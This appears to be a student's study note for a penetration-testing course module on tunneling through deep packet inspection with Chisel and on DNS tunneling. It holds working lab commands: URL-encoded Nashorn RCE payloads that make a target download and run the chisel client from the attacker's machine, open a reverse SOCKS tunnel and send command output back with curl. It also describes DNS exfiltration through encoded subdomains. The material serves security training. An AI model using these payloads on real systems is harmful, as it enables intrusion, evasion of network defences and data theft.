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Module 19: Tunneling Through Deep Packet Inspection

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HTTP Tunneling Theory and Practice

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HTTP Tunneling Fundamentals

Because of things like Deep Packet Inspection (DPI) we may only be able to communicate via a specific protocol, in this case HTTP. Essentially, we'll be doing the same thing as we did in the last module where we tunneled traffic through our SSH tunnel, but this time through HTTP.

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HTTP Tunneling with Chisel

Introducing Chisel! Chisel is a HTTP tunneling tool that encapsulates our data stream within HTTP, using the SSH protocol within the tunnel so data is encrypted. Let's get teh Chisel started.

kali@kali:~$ sudo cp $(which chisel) /var/www/html/
kali@kali:~$ sudo systemctl start apache2

# Setting up a tcpdump to log the incoming traffic
kali@kali:~$ sudo tcpdump -nvvvXi tun0 tcp port 8080

# Utilizing our RCE to download the chisel client and make it executable
# The command: wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel
kali@kali:~$ curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/

# Setting up the chisel server
kali@kali:~$ chisel server --port 8080 --reverse

# Making the chisel client connect, setting up a reverse SOCKS tunnel
# The command: /tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &
kali@kali:~$ curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%27%29.start%28%29%22%29%7D/

# Huh... nothing happened. Time too redirect stdout and strderr to a file, sending the contents of that file over http back to our Kali box.
# The command: /tmp/chisel client 192.168.118.4:8080 R:socks &> /tmp/output; curl --data @/tmp/output http://192.168.118.4:8080/
kali@kali:~$curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%20%26%3E%20/tmp/output%20%3B%20curl%20--data%20@/tmp/output%20http://192.168.118.4:8080/%27%29.start%28%29%22%29%7D/

# The error found was /tmp/chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by /tmp/chisel)/tmp/chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/chisel) [|http]
# Our steps to troubleshoot this one involves checking the version of our chisel client via chisel -h. Researching this version compiled with Go 1.20.7 indicated other errors. Further research finds that there is a Go 1.19-compiled Chisel 1.81 binary for Linux on amd64 processors. We can then redownload this new agent and test again. Success! The chisel server also indicates an inbound connection.

# Using ncat to push ssh through the socks proxy.
kali@kali:~$ sudo apt install ncat
kali@kali:~$ ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

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DNS Tunneling Theory and Practice

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DNS Tunneling Fundamentals

Example of exfiltration via DNS: making DNS queries to HEX strings.domainwecontrol.com where the HEX strings are bits of encoded binary/sensitive data.

Example of infiltration via DNS: Hosting our own DNS server with txt records, then querying them from an internal device.

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DNS Tunneling with dnscat2

Starting the dnscat2 server:

PreviousModule 18: Port Redirection and SSH TunnelingNextModule 20: The Metasploit Framework

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